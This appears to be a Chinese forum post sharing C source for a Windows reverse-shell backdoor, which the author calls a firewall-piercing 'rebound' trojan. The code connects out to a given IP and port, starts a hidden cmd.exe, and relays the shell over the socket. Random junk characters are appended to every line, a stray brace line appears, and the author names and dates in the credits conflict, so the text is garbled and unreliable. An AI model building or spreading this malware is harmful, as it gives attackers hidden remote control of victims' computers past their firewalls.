这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9fuJJ3L[
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/* ============================== NYjS
Rebound port in Windows NT Sn(l$wk=
By wind,2006/7 #A3v]'7B
===============================*/ ~n/Aq*
#include
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#include Cfr<D3&,]
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#pragma comment(lib,"wsock32.lib") ; wbUk5Tf/
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void OutputShell(); ~#x:z^U
SOCKET sClient; z9M.e.
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "brRME3
}. xrJ52Tz
void main(int argc,char **argv) B.YMP;7>
{ B [+(r
WSADATA stWsaData; 1 Itil~
int nRet; Q=(@K4
SOCKADDR_IN stSaiClient,stSaiServer; o9ctJf=qn
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if(argc != 3) U=kx`j>
{ ~M
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printf("Useage:\n\rRebound DestIP DestPort\n"); "]T$\PJun
return; \TbsoWX
} +5HnZ?E\
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WSAStartup(MAKEWORD(2,2),&stWsaData); T A\4uy6o
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VT%
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stSaiClient.sin_family = AF_INET; '%SR. JL
stSaiClient.sin_port = htons(0); zLsb`)!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ufdl|smt1
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) SOp=~z
{ }!%JYG^!D
printf("Bind Socket Failed!\n"); ~H^'al2PK
return; > -y&$1
} )N"Ew0U
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stSaiServer.sin_family = AF_INET; i<T P:
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pWs\.::B
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +Qh[sGDdY
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) bVoU|`c
{
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printf("Connect Error!"); {~bIA!kAFI
return; 4^DVW*OiI
} ?;|@T ty%
OutputShell(); b!0DH[XKV
} =&A!C"qK4[
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void OutputShell() weAn&h|
{ VL+N:wb>
char szBuff[1024]; ;gDMl57PQ.
SECURITY_ATTRIBUTES stSecurityAttributes; Wy<[(Pd
OSVERSIONINFO stOsversionInfo; MpOR Gd
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~|r~NO
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STARTUPINFO stStartupInfo; mn]-rTr
char *szShell; Eh\ 1O(a(
PROCESS_INFORMATION stProcessInformation; Al7<s
unsigned long lBytesRead; B.$PhmCG
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jn-QKdqM
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); TUh&d5a9H
stSecurityAttributes.lpSecurityDescriptor = 0; ]^=|Zd-
stSecurityAttributes.bInheritHandle = TRUE; qib7Z]j
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ugYw<
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X8/Tl\c
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); t5.`!3EO
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XrF3kz!44
stStartupInfo.wShowWindow = SW_HIDE; A1^Ga5 B>
stStartupInfo.hStdInput = hReadPipe; 1O
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |G(1[RNu
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GetVersionEx(&stOsversionInfo); z[fB!O
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switch(stOsversionInfo.dwPlatformId) ddsUz1%l
{ 0$6*o}N%
case 1: *5'.!g('
szShell = "command.com"; [oV{83f
break; bpCNho$
default: #(C/Cx54
szShell = "cmd.exe"; ;UYc
break; XCDSmZ
} 9UwLF`XM
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <FY&h#
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send(sClient,szMsg,77,0); !z"Nv1!~|
while(1) ?"6Ov ]
{ ) Qq'Wp3i
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); W>B^S
if(lBytesRead) Ekv89swl`i
{ 17}$=#SX
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); V/PAi.GZ
send(sClient,szBuff,lBytesRead,0); Py|;kF~! [
} dpwD8Q<
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else YOyp|%!
{ ZK6Hvc0
lBytesRead=recv(sClient,szBuff,1024,0); 8pXKO"u],
if(lBytesRead<=0) break; 1,,|MW
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ak;6z]f8[
} L=O lyHO
} +\0T\;-Xe
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return; n`(~OO
}